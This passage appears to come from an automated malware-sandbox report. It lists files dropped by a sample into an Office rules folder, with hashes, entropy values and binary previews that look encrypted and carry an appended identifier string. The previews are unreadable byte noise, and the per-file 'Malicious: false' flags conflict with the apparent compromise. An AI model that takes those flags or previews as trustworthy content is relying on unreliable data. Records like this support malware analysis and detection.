Preview:	<?xml.&...G.i..T....;s..O....k.j}..v....6.....zb.m.[m.0.t.N.V....)...i?..t....N..0.........i...Q..#....<;C.D'.3q;O#..Z..].q...@.hf.-...A.q?..x=!~fXd{o.g.\|.M.zu!.!...`.4......l..9_.'..>!I...1.....i...%0.K...QF.c.,.Abs.......(i..."...../.9.c.E.G...ZO-.......<.R..,..+..LW.i...x!.>cV...l....KC+..u...kqN5NW...........Sp."\|../...nW..k).?d.\.Y..r$6W1...XtD....o..E5)sP....c..i.>..+...(....;.T.d..y..=.%.p.\|.z%..'T....K......i......2..@..z....b.o..oL[.....l.G.V.........6.....<.Z.vRbC....>kK...#e.k...O.......s~i.<.D.'.y@.g.JY..x....g..:...=!.K.w..N...es5[.=y.J.~faP.a....j..7L..L..WM..@A^.:....h....t..S.G.=F...E..0..3J.IR.w...MW...2#....\|.....FR....\|...$.......5.y.k*<..<'.`..p`.G.r...qG#)..#_........e.......E..0...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.925531211591714
Encrypted:	false
SSDEEP:	48:3oiCC/ediAI6cu2q/vNn7BGjsnzx0fZWXKDuoC2lESp41WYcMmwLFV1yFLh1BD:LP/iIfuP/1V0snzaxWaDy2ySp41KwBVg
MD5:	2434B7970BE1EF69D58B96E32F485ADA
SHA1:	EF17840D6A92B4975549DFED6B4C1D040F91893B
SHA-256:	9D90794360C009489333B34D25E770CA02622122A9693AE17D93C6C5D57ED849
SHA-512:	5FDFFB7A5A274CD0ED6017C7A8B538FFFF146AD71C0B629321BFF9B882341C9325D28E4F1411EEE549A7936AEDE129B4267B23AB459567B1A8E0E21A6622DEE6
Malicious:	false
Preview:	<?xml.......2s......K.,...gu?. 0E..W.3...w.3..X:.0....h W-..-p...`\|...M......\E ('.......O4..#..F...tx0.c{?F.`b..>=.H.X.j1e.........5.._.P..I.a.EO..!.....>.7C.F.2..s.B.3..6..v+......X......q..a..c....o...Y.$...........zp~.H/..."y.7M...!..J......<...2/.me..T..~..(!.R......w.)....\|..K...=^..6.l..K..Bzr...C..~......[9..1..\.....S...zO... ?3...<v..JR/..3.....3..Ug....5.w"...h^.j....]\..g$L...........Y.m.0..p>..(..w....O.L...o.$#...w....oUi....m.H.dSN.......J.R.t..E.asUA.S..-.s[....Ad\|f....O.....,..3.....p.....J"\|....... ..9.K.A..u~.....J..x?...f(.b.Y.@u.j...y..B.........$..;...$..JM.<..I..........o....."......2..i...(.O.. .1a.".]..D:.u.U5 .h.......}X..o...LH...J....%..y..JP.du2j.3.$-.+.`@..0T.\tB.ML.........8g..:........Ca.9g.......`d..b...".:...h.bS.....]7.3....\|...............a.YlxR.RJ...G&.F......C..Z.\|.....R...^8.R.A..!$w1.Ql...........+....+.O.iL...^"...d.{dO.7....-.)..:.y...O4.\v..t.9.<..K$*... H.T... .H.z.G...7fr\|=...<.^3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.799557528801717
Encrypted:	false
SSDEEP:	24:aobxYsUvP04nXZEBwxzky9NsdT0h05R90jnHX1hbD:UXdnJEBqNeT0hXLD
MD5:	B8E5E5236C25CBBEA52411A0D4776CB0
SHA1:	F51166858A6FB5A2516991CF9D1766FAC15778FB
SHA-256:	5064BADB3FC68BF822DBA2A96E5245160476F8209A9D78B241061FBD5FF81E49
SHA-512:	593ECAAD0EEF5A0584E2A4152544573D189B62DAD821F1A8AB47365290836EBDF4C740DB52486DF6E629DBB0C74B585E6E586C7ACEF7114F02C7588ADBD31DF3
Malicious:	false
Preview:	<?xmlV.<"..2\|s......<..W[.N.n.......;..E.\|.&b0.W..V.'..x.....}.~....1.L..C.$:.4..{........!..^../....}...\|....h..PD..P..A=.^..A.^d....6......ic3=........W.....s5O4......0..m..j..r.Y...,_..H.d..$.r.A....3~G..8.(.......wR8....&1...R.....N...8.S...{.2y..f.`.!.h.;Y.d....k..bX.4....Osn.m..j.1.].....%......].`..4.%...i.b...Jcwl~..%!P...B..R?s..p{.#.'.]'.. ..\|........e{...D.ld......... x....&.\|.}.M3.y......k.o.eL..Td.?&........J..J....9..t..u....o..xW.\..^.zP...,..2......_~O.]..))A......i:r'.l...{;..........b.Y.....%.f#a.m.`...YnE^Sv\}Y\u/.....KZ..{.#k.{{.yM._&..cL.U...M:...[..l.#D.r.....V....I....]...3...l6%K.G.;{t.\w.M;}Kb.....5d&y.....]o..?.D~.:...b....Uh?...Y.....T<.T.,.&J.LD.f.)/....c...}u...WA......a.4.j<_].l.8m....3.E...Y..t...-...-.o..I..).Y...MQ..a...US............~..........."w7i..DbD.pF.y3..{.*.c.lI....3.Y.lp+....u...m5..z......iw......x}k..\|.1.\t./1].....j#..j]g..8.Z..{SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.862831031119289
Encrypted:	false
SSDEEP:	24:ZFSDXKQdpbKWpZ/oH4LCRj6gxhW1mIUjjLx8gTxYs2zhBF1OnuuGR9x37X5LIvsX:Zqz0WbAH2CRjFXvzTOt1NX9HIvmD
MD5:	503FDD91F1C494AED5B6AF20F2169A33
SHA1:	B780DF2DF92F550BE5E6A94F8464D63D07204487
SHA-256:	D9143010FBD71521AEE28335CF0CA944A79FC6992C1AF43CA84F1557DC51C240
SHA-512:	2F6B3042C461AC493EBCF49AE42B96CB06098737A0B3A01C126EBEB450CF7772428EC428DF9A4F66C45B0D92D6FCDF046D41D4EFF029C18F56CE9A11E056D4DF
Malicious:	false
Preview:	<?xml.3......,{...n..x...J......n....dp........ .Z....4.+J..3...d..Y.M./j....Ti.....yZ}s:f.a...C..:..q....@>...IH$D.Z...L_.L.8.}u..5........j.F.....?Q..Nc......R....r.E....6`4...N....?........u.L......m.!NQ.$0!#.\|b.K.$w.x4..EG....1t.$p.2....Vtw).hW-A..zB.S^..?Vj . .-{.kZ........._...H.)..j.{........\....$l_...@.,..p8...;$G..3[...f......&..g<.m.......c....b6..Q.~. "f#.?<.?....}(7..?.{.....v.v9.~_)OG'...%.9JA..RX@...{jt.......wZ.8.._.`....%.8.6.H(... ;...D-......R.)...K.j.D.._V...G....a....~E......_....GsC.8._.....2/.M.. .d..uR.....Y....b...+........6../..%....R..M.....#Ah....^... ...@K......CCh1>.{......&.).".IU.....8...B.V/99..\.\|........q.....<....w..We..DV.....<F.j..+.-.;s.u......J.q.0....$..<#.q{..O...p.1.(^..y..T...A..Ql_....`.jj.Ue.......~.R...K..D...N..WS..9m?..2.qc.[m.r.]p.`.\|...j... ...C*...<..2C.+..@..K{ZU.{..(..v..$.....p...r..y.Y..&..U..6..oo../...Z..d....K.g..9z..~.0..K.Y.....E...6...LweDpj7t?z..~F........T.+S......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.779955085197652
Encrypted:	false
SSDEEP:	24:1sbi4VOND49C73jIKy68LrvBt85JX+5oI3bbEMPqxbD:12a09EIKy68Lrz83XibzPWD
MD5:	8C6F4C987307BCE3ED9E0A8541ABEFD2
SHA1:	D6E8309B4CB59818839925C69C63C7124CA7C82C
SHA-256:	42019292134E46433BF669087225074FB202B8E26993393094A4C6D34D4ABEEE
SHA-512:	F9A1757BA74B494D4930312AC7ED4F39C7F0F1132C6AB69DB230D0C1A1C1000C8F9A82DDE8FBF4A5CC9B119B3B3CE5E757EF51230B12A2E17EEED32DAE94BD31
Malicious:	false
Preview:	<?xml.P[....W......NrA.=_1D52....3.^..t~SM..\|.c..Js.?..5H.).#...Oc...\|..........!...4r7.He...:T.].,+.....u4wCGT...v[....bx.s.B...ar;....</...p.^..b<@.&.....]..-.~..3"!.NzX.e.......K.-...._.w.z...(...'1.r../l.v0...;%/.f.v.....\|.4..F.n......@..,....6GY..2..OZ...O..rw..a..b.I.uv1..w:.br...:.,..C......4.R..K._..s.`.B..2.!....4.......G\m.P3..af.Q....C@`.~Sb.3...;H.g..n.'#J[7...9.R0....Y[..I..U.R..kB.SJ.~T....`..n........F.....O.......g..~..B.?..m...J......!.g.......i...Y%.S?5S...=.b.>.=.8.Y._H.&<?..N~......}G<.v.u..Q..M...G.Rz....7...D&...6^...4......V..?d....3'..0........0.a...`...iKD...:.o.8.......,sI......*..t/A.F.........u..TA.n.j..Un.w....I.g........oO..m.W.81..F.".-....p !...../X3.w..b.-.@.\|.}i,x..[..Q.7q?..&."..s.@IO.c..Yq(....Jv.....+...NmK..;.n.)'.u.JgIT..'#./..E1..T....L.F.G.....:. .M...{.u......D.4SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.754835149988644
Encrypted:	false
SSDEEP:	24:TPcEEGDxWwhvIb09305rCaaE6r9VliXXWRefHbD:Dcbe7hv/0xYx8jD
MD5:	F89F4C2CA08AA21819DCF4ABD1A3723E
SHA1:	7F760AA4CE47E7DA98046CD666219E41FB6D8BCC
SHA-256:	AECB6E0E22F2706B6503E039CAD379A3F14B8FC85C8A00789086756877CA01E9
SHA-512:	DBA30F100A1C74769A87326874B198041444D94A1A0653B9BA34790475B52BAA2DA6D42FEE7D5C4C4549C2347B1618A4BBEB638D957845AE7F4D5CD8B9526F85
Malicious:	false
Preview:	<?xmlA\|.,.aY.waJ."jD.($....v..8.a..F.....i....k.....O..y..=..t[.#N..%..){)...9].._..U....SD\|...O...<...0..2EV....f...i.[...-GBC4...d#f.....X..n..#...4...g...o...,...................y....jY..p4..........E....6...+..%.=8.\^.Zdv...VfY..q..`...;.......}.t......v..L....u.......K....<.[..ed....x..Q.G.Z..,/..o.../..3....\|1p.8W.T......h...9ng.h)....ti.x;...TU.h.K......U..Y./.{...I.?.4....r.Qi.T...0...3.K.~....v...<'.U.C...c..Z.k}....%....5....h..-....[.?.N......B.....sA.M...L..d;.XCj..t../..K..M.+.D.FJ[3Z .....]..T..~....h....l.c?o"..k.ts..<.mT......dK%..ZI.(O.,f.n.%2%l..>....I......q...0....Q&5.....=YJ._.z..I)...`U..'g.~{}dN..~.....OO..&....mc...M....!J...L%.z.F.j.....o....M....n~gi..y...l`.....G....[....0.~....fi.....u.].T.j"q...F.V.sR.t.}n.;Sa%D..r..@....>.70U.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.805895463117466
Encrypted:	false
SSDEEP:	24:30z4G9u2tp2U2rGCcXPxgN0zmzzF30VbcchsbD:Qfhj26CkC+zmzzgoD
MD5:	C48807D303654BA28A23542429B19D98
SHA1:	39D098B1BC287C48956300236336ED78C2B35777
SHA-256:	D568AE7E476D01734B6CA7A760BADA4DFCB6CCC680A0D3D965C2FEBECB44F8F6
SHA-512:	92F060A1F1BA843DD75F6C694DBA0B57FAAFB0C777C0CEACDBAFA6C792A8F4E171357A0F9B6F91CDE6E64C8B3FD8DE06FD8C083F98787050C03EB2D1278D827C
Malicious:	false
Preview:	<?xmlG...Js.ZDCh...z.O8...Zf.+lN....0.R,1.16....B..j.....T+.Z0...j\.@..SR...q+..&!.<n{.3...L.\|@.D..&.O.0.!.i.....p(......q>T{.P.0..D.Cl.:Kp.I.g..&.$.....k..x..:...2..w...UR.....H.}.^.......f.EX.O.....IdN.l....B_..L...4..\|..ap........u..z..~M(...F.].a6m..].o.oL.1......?..N.8........[...5z{..y..I..D....oz....K..p.Z..KL....Q.p0.{....)..?#.Bx..^.R_.0.+c..pyd8.K.Y+.t.....4I=.E.8.....@...wqF."..u../.`k...c\|."n..~..bd.gH.K.....<....&..g..5qr..].Y".W.Z....j%.x..y.R.?..U.z!.^....f..X..).T...kMu.l8.....lN..?%.E\|J.2x.........Xd4..5.Oi.7.:..<./..tP....E$....V...#e..`.X._....?....CH.h..42.."$.....J...... $.....U s@.yGY...l.2..c..lF.`.....d...\. ....k...bl\.\|W.i.F....'.......z._...Yk...o&.l.~(y.g}Q..(w`\.......P.A3.$WE{.z..@.o.v..T.6..;.b....:."o.Z;........G..2...(~...[.y...p..K......=?.`\|\|.r...4.V...^...3(..<.,'...o.x.........- .MN.*...Sb...Xc.(...$.....Sn..J.&.x%K.1[.3>GI>j....@..` ,....$/..`.0 ...6SLibyJ8nZP43K8X6Ycor9IxvOlsKH

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.7647341092704005
Encrypted:	false
SSDEEP:	24:bdjtamvrzOQmiw3aQBx22ukblUOZ8WfDqe2RMzpQLsXz0iQbD:bTtvrzOpiwBx2lkWij2fLsXQiKD
MD5:	8FC5D6F36BDFD064DE68D470605C275F
SHA1:	E7E11F2BDFB2189A1EE3459621E0272B55457AF0
SHA-256:	B974D7C5D62DA73C566A76D84B7FED094FCC2576C76BE88BDF68D84CF2937C02
SHA-512:	8CCA5FB7EB96C798EC6C6638BA5E1032A70A775E5684CA92D75E11B10AEB610F7E1711DC514A98A9D9851597DF12E9F4B68DC2046F73E052A628B10618CD6DF3
Malicious:	false
Preview:	<?xml...1.K@../..A.y}.j.].9..5.,h.Fp..lv2......QC.tW....=S'. ...x%C.X..gu....%.Z... o.HEE2.c.N...........o.+........S8]....;$.....!......g.........-........h..q...A..@..Z....Hb....+.b..0v.H.........0eMQ:.L.l......F........T.mJy+.B...J.....<l.J.O.y8.Vci.G......M..1..)C..9.k.~%.Y.z...f#....,..."i.8....-..M:.UK..f..z....[.z....-.R..'...#.... D.D\........#...+...........@.0Cb....>..F8..v...M.K...#....:{.X.Xa...>...u.G.(.j.M...X....j!.d1..K..g..[/{L..W.h.B..V.S..gL.M.y7...R...0.I.5.p.....U....">.._m....:(.P.4A.2.{....v..}.+..SO...r........V...\|.YrE.<%v....K?.!.4\......j......$?f..8......wY...4.......7......,P\.S.......9.....&ik__.........G......_.....>.L;..<s....n.h....BE.7..7.,2..F...bl6.2BI....././.$.fTl...F]Z.O&.G...,T..+..)0..].U.Z.=..d.O....bl.}.F%.b.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.977336398413675
Encrypted:	false
SSDEEP:	192:CMIOczjkn16h3GwfsaSQwsDEwcFXklkgrGZ+XIlSC9:MOcve16h3GwkaSQT/kXkzSlf
MD5:	83D65B433CE666D1A0759CCFE71E4601
SHA1:	BC1BBEFF5129C8370CE2EA67E939BC049C9B3096
SHA-256:	78B6C2C185CE67B388E1DD88A461D3CFBE8C512850716B4C32217D5C4F79D409
SHA-512:	462C7B8B3520A02AAE78413034E52F152495CE2B5472F9E3C2AC04BE6B2A6261635E0D337528A5FF16A268931B93A39D7E0B0EAE51E5F0C0E09FB3A5E4650EDC
Malicious:	false
Preview:	<?xmleC.W.....W....n.(.v.....Ow......Z..........E;...0..g.x.....\.....jA...[..Hu..9sM\|..[....)8.%L.S./h.~...$.Z:....q.Q..._..$.......k.\|...j..='E...S0WK]...+J=C.rms.7...G@(..O.....+..8z...9..q-.3ZL.Tg........X..].B.@e'..=....'&dl.K.PYx.p.".A'..!5...>L.8.R..J .&....3:y..t.D.#..{.d..l9A....a.H.lK .Jt.H.trl.lW....L.D).zmI-.v%\|.L....s$...../.(..../..,O.M;.g.EYFj.:...Qc...Z.).5X...I1\..;~.na...9~e......xTU....E%.?...8u.iR....\..`.~[!.2.....j..5P\txr....bO./"M.a....6.._c[..<.......-...=..,l..).H.2.B....)y..P..Z....Wx..K..F}X...!.........D..#.&{.....>..J..l..m.(....w..c.MN}.e .4G+.I..>.OD....}1f.$.y...2..?c...>.V7-...s..-...6..>....s.}.2..R_..@U1r..:.....,-..8(..sR......0.(..tGL<T........:...;y%.../#)...5~@,(.6iI.!...L.....@....S.JT..XN\.DD....p....D.Xf.;>..X.?.._.~1...x...."......&.=...5.U.m.@.UQ.gJ.'...,%..W!.3.ZGD..G/.=b.....gE.(d.L.....x.....+....$}8v.)h.Vp.............L..y+.!F......T.......5m......E.zK.N..p......=fF......k.h1E.)...=U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.83076053840064
Encrypted:	false
SSDEEP:	24:9mx2N/MXhSsLNpVeoc4IbGp8Pu3OlJcR3ARrCqoJgiKlUjMzqB+oPOBgXbD:OUMbR+oc4I4Ne+wROqRii1gD
MD5:	5D247458AAF9FE5611B076B79D7CC0E7
SHA1:	B76631E3602313CDC33DCC1CD2EB106BC40076AE
SHA-256:	C50BB54DAB67354ACC21BD02619845EA4A7A8E5A285A9113910AB818CC4B244B
SHA-512:	916B9E8932123AA6F5BD8996055643674A58E84229E8CC00EF7CA35861C5ABD82D2AD589BDFD6AB7F564E2AC827C8F44ED734E4FE981ACED10ADC1C6697EA147
Malicious:	false
Preview:	<?xml..L1..d<..u... ..>.^^![.>5a0............>f.Bji...#..#..g..Z....(+..M4.v.D.\|{YH.c..Kf[..).0.%\.......-8e1...@..m.a_...M;.,k.kOV.J. I...;<...4..80._.E..p.Si.........W...>...>...i........t._D...4].y..L.Z...j.7...]Q..<6.../q{.x...x-P.c...b+v...2...)..S1D.f-..h....FsDmM....)..wQ.4.p(.T....T.Z.I....n..u!.f&q.............E..I.i..b#.#}Xp....4w..-.1w..>~.V..r........I.ERz.H7.hw..E..Q.#'...#;.......L...lP.i....}.N.2.BVo..+T}.e..#.3..T.2..MoI.3]..k..x..........B<..>.K....S.H....;}...d&....`.hv...Q.+kR...-#i..<3Sya..E..&..tc.E..SG..i.U.@.....{.2.&7....Q..>\|...;?c..i+2..j..........<]..I%g..q..h..fK..g.....9....7y.....;...o...$.5.Kv................Z;C......iR7UCX...zS.......!x.+M...)C.b<....1.....&..j..A.tP^<..-.0X.`.n....o!U.MX.....G..r....V..V..}L^.jz@...n...L....Z.j/\...I.Q\|...8.t`.~....R.......v.Cq....4. .....:.G.....UE.Y....B..>b]......D.7!qF....b.IN..$.Y...E?dKT_A.W...E...*.>...>....LB..+... ...fV.[...'.&......8...,{...+.... ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.850635707750496
Encrypted:	false
SSDEEP:	24:p9L/EIqwcl9Q0SVGhQAanAH9oT1780vpLunhgGpUDJpjOHbD:p9LtHytSV2paAH9EqypLuGGpUDHjO7D
MD5:	772662B2A77FCDE0FFE55E3167397DC3
SHA1:	76EDCF3907E97F6E1687BDA59CE95EA592736AF1
SHA-256:	0DCE41B4BD930B34738FDDEAF5DEA2768821BB0A69449BF8392977E3BBD8FE99
SHA-512:	30B27369DB235407A9E5918049D2718E7010C35CF313CF6EB8C5CB35579AE6AE230917E82086CAE8FB9A9F29564A4109BC35E4D04D2D48C12C2DE05316DD7F2E
Malicious:	false
Preview:	<?xmlp..{k...>7...)?.."..-..Yo...>..l.2..A..)T .!.4.......l.. .\|...1..:d..7w. ......IV1C.<.qL.5..W{..N+LMTm.~9l..u$[;N....A.%.<_,F...S.{.% ...->!..B...&......SZ...+...oaxsf....a......t.1.=.Zw._..@T..m..P.He}..L}a0..;.n1Z..X....5....`t7...J.....w.X^...)......;..\|.p....+D/..75U.0...+..:b.+..Q.....p......A....~..KE==\..W...f.......q..,.$.......G .....KQ..G.]..\|.6......M...\|Nh..?...".%...9?.E....\ ...+#.d..e.'.?c0.~...c_...;AO`h.....p#V..+..4...s.L.H..C#....TSZ.U7.6qM..H...._...G#@s...Lk.[rAG.......[O#.]f{#....j]n.".7......ltz..&m.....q.....VN.eC6.p...p...-.m...7.....N.....J...U.G.WP.....3..x;...\-..}.....i..=Q.~g....).f.......8..?y..t.=.@9.t...,..8.<.x.i...^..t...2.T....n.}G.._t..:..9d9T.............J..bU..q..C.....o..F...h.np.t!.A3..a...i....P...G+..0.t.q.g.........x...;x.'..$..=a\|..4'I.j{[.Z2.._.O.h".....l....{..M.^....y..am....D.sh....XS.@..=V..=1.>....+.1o.e>5?^...s.xy*........'...3..@.<...H'^%...uV.....u.Hy.V..G...p^.k...BvC.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.820617749090742
Encrypted:	false
SSDEEP:	24:tsQZnz4Na/fwtkCtPKd386JhZSZoG5aO9p3HI+Wbv1ANKh9yX/uKzVbD:tsQN/fl3M6JQ/AO9p3HIZYugPDD
MD5:	C6655010A4709A4FD28054A366FC1CDB
SHA1:	70AEAF4A11920254CF44247D418E2D411284DBE8
SHA-256:	E1004051750BB443E5050CDF13D27F1989EF91F3A4CC9467A15199951D59F2E5
SHA-512:	25E2448748FA86E653587E47C21B899462365706FC658D7B81D3CB7800A507BD72EA444EB02C2B3595AD5705A7B3BDF452B873451D15E792C4C0759C91412304
Malicious:	false
Preview:	<?xml..gb..RI..V.....';.i.P.i.r......M.....]...........8..;.,lc..........m.04Z......oM..f.bCP..;.]..jz[U......Z.......s...,.$xW...W.w.l...%.(.#.U "c.^.E.#f.....QOtp.A... &...aW..2`VkV{E.rt.....z..4......@..!.}..<....t.....2e.....(.\.k.T=y.....\|R..7.2..).a>..t..G......E.@.w..-...f#....9.q..L%..L......R+.Du..VJg.s...;.e.;h@ll..d....._....J.]..Z.#g.4.h....}.#....f+.....y....D.o....Nm^........D..7{[Xy.$.!...?..i:...._.....l..Z.Z%}.#z8..u>....o'.J..........?WN...A4.....Ud..&,.....}........p....1.kJ.,.{............. ....?...N."...CQ.0!.3I1......l......e..<.Dk...jQ..Q.....xE..`..oj....]...?. 2%e.*..ga'........#..w."2.:.G..b..YQ.d......d....\M:.q..~Q...R...`.....F.s+..rxQB~D.1......?........cQS...X."..t.7.!.:.R1Y....Qm."VO.(......!....<..D6.e{.ii.;Q...A5.,1Z.Dit.q...2...C.Ws@j.....3;..Mf.-[!e..Sp5....(tD%..%`^J.I.Z]$b.7...(.,_..].L.R6Y...q...\ .z...D1.......$y.]......I ..u.$.!3.>1...~..Q.~.Q....";.du.....`...o... j..u.(.....@.SLiby

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.945752160152036
Encrypted:	false
SSDEEP:	48:fPocEoufoVIb/+LtRMdW4VCohIfpNS/1bswyaowc41MZRWzqIGnbYJjScsPqnYIg:fPoD2u7+yAoUNS/1bPyGPYIpJJMP/tBf
MD5:	08815180ADF3DC394B0130A3AD139ED6
SHA1:	E50FA373E04F8E595946BE3DF0E799A841552FAE
SHA-256:	5C054CF123562E9A35374A138781E3BA68327FAFD0216A256EC23C5DE66E6B1C
SHA-512:	7E8F757C2097C79C396028C95FE761EDC80844C2229DB4DA6B4DFAF80DC9B205644F8F4FDBF27DB0F1A90F532A2889C05272DFBE10E6DFE5C57B30C3D575EBBB
Malicious:	false
Preview:	<?xmlB.K....tj...H3.<.Bu..Y...xy../..(.,k.^..kM.&_0@..`..u.....O.. /UE..Fh.OnC.=-.;..!/......"....o..!..34w?a<h.......".D..b.1.f..X\|J...>.aK..<..J...g^6.b.I.....b.v..n..(..q..1[.0.....@.A..+q..[...X.+..>.\..7.bR..yY....n...1..L.jf[..q.\|mW.n....\|Xp..u....Y.G..c.j....$....f....<R40.i.Nt...D<...}.+.(G.n......XX.+....?.........p..)m]..{.I.3.%......n.eJ.....$.9.m..sF)u=04...2.....x._.w...t..h.^z6..?d.0.2..z..(....s.G.<.[.wx.............Q....d.W:.2.....=`.z.".V.@..........D.O.ak.t..u...G..`.\5y.u,z...1....U..g..?.`P..^)....s. W....A.....f..\|.q_.An..2..K...(..WO....`.....&..vt..l.D..Q63.....{\|...Q..L<..g.o...u....)C<.E..0...~Z...Q:.F....KD@...;1zQ..7....I>....z....Y!.?.w.G..M8Q,.,...7#.]'\..Bo%.....N.b.....Ae..a../.R.O.9N.W^...."...=..T...[.M....\.h...D^.e.c. [.<.9...F._2.F....$....d3fS;.E...........?.....C...a.........d..-........c.........t....S+v...0.Q......y.8..KF..=r.`W$ ...<`Nx..h[..=..F..u...P..[.<=.](.@.O....~a.a.I..rA. .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.820052756237249
Encrypted:	false
SSDEEP:	24:m8sJPyiia8SDGQI3u7HC1vKHle6p6Z9V1qLluRjpQQqMD683KbD:m8m6a8SiQI3u7HC1vKs6p6Z9V1qBuRjk
MD5:	612A2A20EFC16355E4AFCC614F5D1A40
SHA1:	B4DF7D0207041506F118B593AD60101F4887BCED
SHA-256:	7FCA15400FBBC07508CD0CC94F4A3728F8886F597BF6AF8F590D3B226A66144C
SHA-512:	5AC899C833E215E11DD71F52EA7B7F2F84514477F45EF3A1C4775EE462FBD6BC4030DB3D1B51513F2BC3407576CE126677A643D2E118B8DDD00B36E260475B6F
Malicious:	false
Preview:	<?xmlc... ..&Y..x<...H]Ua..Pjy.Ew...X&9.!w..4........(.Z.r.O...LK..wu,..b......`..P^.&-..x....8.zW....{`.e..;...5...4..c...n....9.S.V..3..oy8X^T.?j.f=>B.~p....2..K......Ks....E5.....3"Y.@.e.e.j.mc.%R.Z.k.oTv............w..v.}-....:.O..m......O.K.....1a.%....]JY.j.>.b..,..3X.....!......7Bn..`..y.v.%............%..........l.......O..Q..O..,&.~..1.5.d...5..Ae.L...y.J'..x.....q.VE...<.[.........Y..!...=......W.}..mJ.{>..-.@O..e<..D`....j.>..,>..QdO......O.V.i{..C..:.B@.NB.F....H..G#...j..............+\|.[..k.bgs....6.Q1.z....U.4K.n+<V.d..%..e...7...X..P.9..^....Qf....,%.4.Jv.....P#2.=U..jP?E....w/..8.Mt.K......E\|^4'..{,9.....`.....<&.c......g..(.Q?6...R.=\|M..sc#.=..23..R...u.T..%\.F. .+oq..).....Y])&.......6.D..............%7P"....9.........V.>....:..._'.o@N.O..y.p..\.....p#8T.8.tM.BN.-..`oU..b..+......o.s..e..4.5..DO..D..m...~!...iDS..........@6.)2{.J]../.... +.>.G..^..d.....]..]`..1y...d.W..H..8....\........"jm..8...RU..t..@....@.Hp..[9...Uo>.\|f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.975909267809886
Encrypted:	false
SSDEEP:	192:Ai1bZFjN0OmJ/qLSTwu9zs7eADGkL7at4nQTLQ3P+o1hnO:D1SJMSTzs7eACztilG+BO
MD5:	1261F44A8CEDD108AE9ED2A24F1C6B52
SHA1:	A47E9690C17F5955E5692ABC13F5388289C2DAC5
SHA-256:	AF87B3EB23E84339757651D5F4E6244BAB6FF14D121016AF1D5067A614FF5F2F
SHA-512:	E8198ED376757BCA1851B6708D0B97E16F0FE5D878E6B33FE47F7B451AE23B1FEA3687F301450ADA2B68019C0BD22B7081FFB912FD8992ACA136F76680D9E303
Malicious:	false
